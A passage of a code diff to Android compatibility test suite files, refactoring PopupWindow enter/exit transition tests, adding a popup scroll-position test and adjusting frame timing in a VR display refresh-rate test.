+import static org.mockito.Mockito.any;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.Context;
@@ -44,13 +52,6 @@
 import android.widget.TextView;
 import android.widget.cts.R;
 
-import static org.mockito.Mockito.any;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.never;
-import static org.mockito.Mockito.times;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.when;
-
 public class PopupWindowTest extends
         ActivityInstrumentationTestCase2<PopupWindowCtsActivity> {
     private Instrumentation mInstrumentation;
@@ -772,7 +773,19 @@
                 WindowManager.LayoutParams.FLAG_ALT_FOCUSABLE_IM & p.flags);
     }
 
-    public void testEnterExitTransition() {
+    public void testEnterExitTransitionAsDropDown() throws Throwable {
+        final View anchorView = mActivity.findViewById(R.id.anchor_upper);
+        verifyEnterExitTransition(
+                () -> mPopupWindow.showAsDropDown(anchorView, 0, 0));
+    }
+
+    public void testEnterExitTransitionAtLocation() throws Throwable {
+        final View anchorView = mActivity.findViewById(R.id.anchor_upper);
+        verifyEnterExitTransition(
+                () -> mPopupWindow.showAtLocation(anchorView, Gravity.BOTTOM, 0, 0));
+    }
+
+    private void verifyEnterExitTransition(Runnable showRunnable) throws Throwable {
         TransitionListener enterListener = mock(TransitionListener.class);
         Transition enterTransition = new BaseTransition();
         enterTransition.addListener(enterListener);
@@ -791,8 +804,7 @@
         verify(exitListener, never()).onTransitionStart(any(Transition.class));
         verify(dismissListener, never()).onDismiss();
 
-        final View anchorView = mActivity.findViewById(R.id.anchor_upper);
-        mInstrumentation.runOnMainSync(() -> mPopupWindow.showAsDropDown(anchorView, 0, 0));
+        mInstrumentation.runOnMainSync(showRunnable);
         mInstrumentation.waitForIdleSync();
         verify(enterListener, times(1)).onTransitionStart(any(Transition.class));
         verify(exitListener, never()).onTransitionStart(any(Transition.class));
@@ -1069,6 +1081,30 @@
         assertEquals(LayoutParams.MATCH_PARENT, p.height);
     }
 
+    public void testPositionAfterParentScroll() {
+        View.OnScrollChangeListener scrollChangeListener = mock(
+                View.OnScrollChangeListener.class);
+
+        getInstrumentation().runOnMainSync(() -> {
+            mActivity.setContentView(R.layout.popup_window_scrollable);
+
+            View anchor = mActivity.findViewById(R.id.anchor_upper);
+            PopupWindow window = createPopupWindow();
+            window.showAsDropDown(anchor);
+        });
+
+        getInstrumentation().runOnMainSync(() -> {
+            View parent = mActivity.findViewById(R.id.main_container);
+            parent.scrollBy(0, 500);
+            parent.setOnScrollChangeListener(scrollChangeListener);
+        });
+
+        getInstrumentation().waitForIdleSync();
+
+        verify(scrollChangeListener, never()).onScrollChange(
+                any(View.class), anyInt(), anyInt(), anyInt(), anyInt());
+    }
+
     private static class BaseTransition extends Transition {
         @Override
         public void captureStartValues(TransitionValues transitionValues) {}
diff --git a/tests/vr/src/android/vr/cts/VrDisplayTest.java b/tests/vr/src/android/vr/cts/VrDisplayTest.java
index 9dfdf96..b26f4ed 100644
--- a/tests/vr/src/android/vr/cts/VrDisplayTest.java
+++ b/tests/vr/src/android/vr/cts/VrDisplayTest.java
@@ -52,18 +52,20 @@
      */
     public void testRefreshRateIsAtLeast60Hz() throws Throwable {
         final int NUM_FRAMES = 200;
-        mActivity = getGlEsActivity(NUM_FRAMES, 3);
+        // Add an extra frame to allow the activity to start up.
+        mActivity = getGlEsActivity(NUM_FRAMES + 1, 3);
         if (!mActivity.supportsVrHighPerformance())
             return;
 
-        long startNanos = System.nanoTime();
+        // Skip the first frame to allow for startup time.
+        mActivity.waitForFrameDrawn();
 
         // Render a few hundred frames.
-        int error;
+        long startNanos = System.nanoTime();
         while (!mActivity.waitForFrameDrawn());
-        error = mActivity.glGetError();
-        assertEquals(GLES32.GL_NO_ERROR, error);
         long endNanos = System.nanoTime();
+        int error = mActivity.glGetError();
+        assertEquals(GLES32.GL_NO_ERROR, error);
 
         double fps = NUM_FRAMES / (double)(endNanos - startNanos) * 1e9;
         assertTrue(fps >= 59.);